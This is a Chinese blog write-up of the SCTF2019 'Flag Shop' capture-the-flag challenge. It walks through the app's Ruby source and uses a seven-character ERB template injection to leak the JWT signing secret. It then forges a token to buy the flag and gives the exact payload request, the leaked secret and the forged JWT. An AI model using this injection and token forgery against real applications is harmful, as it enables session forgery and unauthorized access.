[CTF]WriteUp第45篇

[SCTF2019]Flag Shop

思路

进入后发现要用JinKela购买flag,几个功能测试了一下

  • bug flag:POST访问/shop,cookie传JWT
  • reset:GET访问/api/auth,被set-cookie一个新的uid,重置为20JinKela
  • work:GET访问/work,get传参name、do,cookie传参JWT,被set-cookie新的JWT,JinKela的值随机增加

先用dirsearch扫:

[22:24:37] Starting:
[22:40:11] 200 -   33B  - /robots.txt
[22:40:49] 200 -    2KB - /shop

访问/robots.txt,发现/filebak,继续访问,看到源码

require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)

configure do
  enable :logging
  file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
  file.sync = true
  use Rack::CommonLogger, file
end

get "/" do
  redirect '/shop', 302
end

get "/filebak" do
  content_type :text
  erb IO.binread __FILE__
end

get "/api/auth" do
  payload = { uid: SecureRandom.uuid , jkl: 20}
  auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
  cookies[:auth] = auth
end

get "/api/info" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
  erb :shop
end

get "/work" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  auth = auth[0]
  unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
end

post "/shop" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

  if auth[0]["jkl"] < FLAGPRICE then

    json({title: "error",message: "no enough jkl"})
  else

    auth << {flag: ENV["FLAG"]}
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    json({title: "success",message: "jkl is good thing"})
  end
end


def islogin
  if cookies[:auth].nil? then
    redirect to('/shop')
  end
end

虽然很长,但是我们想想,要获得flag,只有/work这个路由会输出flag,或者伪造JWT,然后直接购买
但是伪造的JWT会被ENV[“SECRET”]作为密钥解密,也就是说我们要搞到ENV[“SECRET”]值

把/work路由拿出来看:

get "/work" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  auth = auth[0]
  unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
end

解题

完全没有思路,对我来说这是新题
参考文献:[SCTF2019]Flag Shop-CSDN博客

Ruby是一种编程语言,我们看到的源码就是Ruby格式的
在/work中有个关键利用点,就是ERB模板注入,和SSTI非常像
模板加载格式为<%= ... %>

由于成功work之后会输出name

而源码是通过ERB模板来加载name的

ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

我们可以让name为ERB模板来实现注入,不过因为[0,7]的长度限制,我们去掉<%=%>这5个字符只剩三个字符了
这时候可以用预定义变量:globals – Documentation for Ruby 2.4.0

<%=$'%>
# $' 的含义是最后一次匹配的右边的字符串

示例:

str = "hello world"
pattern = /hello/
match = str.match(pattern)
puts $'  # 输出匹配之后的字符串部分

会输出:

 world

于是我们传参:

/work?name=%3C%25%3D%24%27%25%3E&do=%3C%25%3D%24%27%25%3E%20is%20working&SECRET=

<script>alert('0e1dd1b16b94dd29673cc6546b0df9cd820d51d2a2b54b819cca7c5b5a21cedecd33103ab4351651e1a0e50feed84693b85718b182011f9499bad1b1d5e4bc10 working successfully!')</script>

得到了SERCET为0e1dd1b16b94dd29673cc6546b0df9cd820d51d2a2b54b819cca7c5b5a21cedecd33103ab4351651e1a0e50feed84693b85718b182011f9499bad1b1d5e4bc10

接下来我们构造JWT,把他的JWT复制过来,修改jkl为1000000000000000000000000000,然后使用这个sercet编码

eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiI5M2JhZTZlMS0wMGRlLTQzZTMtYjU5ZC05MjU1ODkxOTQ3ODAiLCJqa2wiOjFlKzI3fQ.c_zpZPBeCBqGYhtMw_ZF6ysgabgAlggvFi8ff5MGrNk

改cookie,发包,看到set-cookie的回显,我们解一下这个cookie即可

flag{6f092362-4a94-4f07-af93-e3ed488fd525}

注意

信息搜集部分有点慢,不过这怪BUUCTF
Ruby的ERB模板注入可以学习一下

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇